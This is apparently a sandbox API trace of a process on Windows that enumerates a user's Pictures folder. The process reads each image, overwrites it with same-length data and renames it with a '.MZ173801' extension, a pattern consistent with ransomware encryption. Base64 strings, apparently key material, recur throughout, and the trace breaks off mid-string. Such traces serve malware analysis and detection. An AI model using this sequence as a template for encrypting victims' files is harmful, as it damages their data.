lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.860] GetCurrentThreadId () returned 0x9fc [0122.860] GetCurrentThreadId () returned 0x9fc [0122.860] GetCurrentThreadId () returned 0x9fc [0122.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\WBa20XpzpXs6n.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\wba20xpzpxs6n.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.860] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.860] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.861] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xc20 [0122.861] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.861] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xc20, lpOverlapped=0x0) returned 1 [0122.861] CloseHandle (hObject=0x280) returned 1 [0122.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\WBa20XpzpXs6n.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\wba20xpzpxs6n.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.862] WriteFile (in: hFile=0x280, lpBuffer=0x716540*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0xc20, lpOverlapped=0x0) returned 1 [0122.863] CloseHandle (hObject=0x280) returned 1 [0122.876] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\WBa20XpzpXs6n.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\wba20xpzpxs6n.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\WBa20XpzpXs6n.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\wba20xpzpxs6n.gif.mz173801")) returned 1 [0122.877] GetCurrentThreadId () returned 0x9fc [0122.877] GetCurrentThreadId () returned 0x9fc [0122.877] GetCurrentThreadId () returned 0x9fc [0122.877] GetCurrentThreadId () returned 0x9fc [0122.877] GetCurrentThreadId () returned 0x9fc [0122.877] GetCurrentThreadId () returned 0x9fc [0122.877] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6e8f0, ftCreationTime.dwHighDateTime=0x1d5e080, ftLastAccessTime.dwLowDateTime=0xdb47aea0, ftLastAccessTime.dwHighDateTime=0x1d5dff4, ftLastWriteTime.dwLowDateTime=0xdb47aea0, ftLastWriteTime.dwHighDateTime=0x1d5dff4, nFileSizeHigh=0x0, nFileSizeLow=0x50ac, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="xeIgXkPUlRxd O37A4 6.png", cAlternateFileName="XEIGXK~1.PNG")) returned 1 [0122.877] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.877] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.877] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\xeIgXkPUlRxd O37A4 6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\xeigxkpulrxd o37a4 6.png"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6e8f0, ftCreationTime.dwHighDateTime=0x1d5e080, ftLastAccessTime.dwLowDateTime=0xdb47aea0, ftLastAccessTime.dwHighDateTime=0x1d5dff4, ftLastWriteTime.dwLowDateTime=0xdb47aea0, ftLastWriteTime.dwHighDateTime=0x1d5dff4, nFileSizeHigh=0x0, nFileSizeLow=0x50ac)) returned 1 [0122.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.879] GetCurrentThreadId () returned 0x9fc [0122.879] GetCurrentThreadId () returned 0x9fc [0122.879] GetCurrentThreadId () returned 0x9fc [0122.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.880] GetCurrentThreadId () returned 0x9fc [0122.880] GetCurrentThreadId () returned 0x9fc [0122.880] GetCurrentThreadId () returned 0x9fc [0122.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\xeIgXkPUlRxd O37A4 6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\xeigxkpulrxd o37a4 6.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.880] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.880] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.880] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x50ac [0122.880] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.881] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0x50ac, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x50ac, lpOverlapped=0x0) returned 1 [0122.881] CloseHandle (hObject=0x280) returned 1 [0122.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\xeIgXkPUlRxd O37A4 6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\xeigxkpulrxd o37a4 6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.883] WriteFile (in: hFile=0x280, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x50ac, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f6d0*=0x50ac, lpOverlapped=0x0) returned 1 [0122.884] CloseHandle (hObject=0x280) returned 1 [0122.886] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\xeIgXkPUlRxd O37A4 6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\xeigxkpulrxd o37a4 6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\xeIgXkPUlRxd O37A4 6.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\xeigxkpulrxd o37a4 6.png.mz173801")) returned 1 [0122.887] GetCurrentThreadId () returned 0x9fc [0122.887] GetCurrentThreadId () returned 0x9fc [0122.887] GetCurrentThreadId () returned 0x9fc [0122.887] GetCurrentThreadId () returned 0x9fc [0122.887] GetCurrentThreadId () returned 0x9fc [0122.887] GetCurrentThreadId () returned 0x9fc [0122.887] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0497740, ftCreationTime.dwHighDateTime=0x1d5e122, ftLastAccessTime.dwLowDateTime=0xc2a2930, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0xc2a2930, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0xf8d0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="_lWh-UgZnqS4ctet.bmp", cAlternateFileName="_LWH-U~1.BMP")) returned 1 [0122.887] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.887] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\_lWh-UgZnqS4ctet.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\_lwh-ugznqs4ctet.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0497740, ftCreationTime.dwHighDateTime=0x1d5e122, ftLastAccessTime.dwLowDateTime=0xc2a2930, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0xc2a2930, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0xf8d0)) returned 1 [0122.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5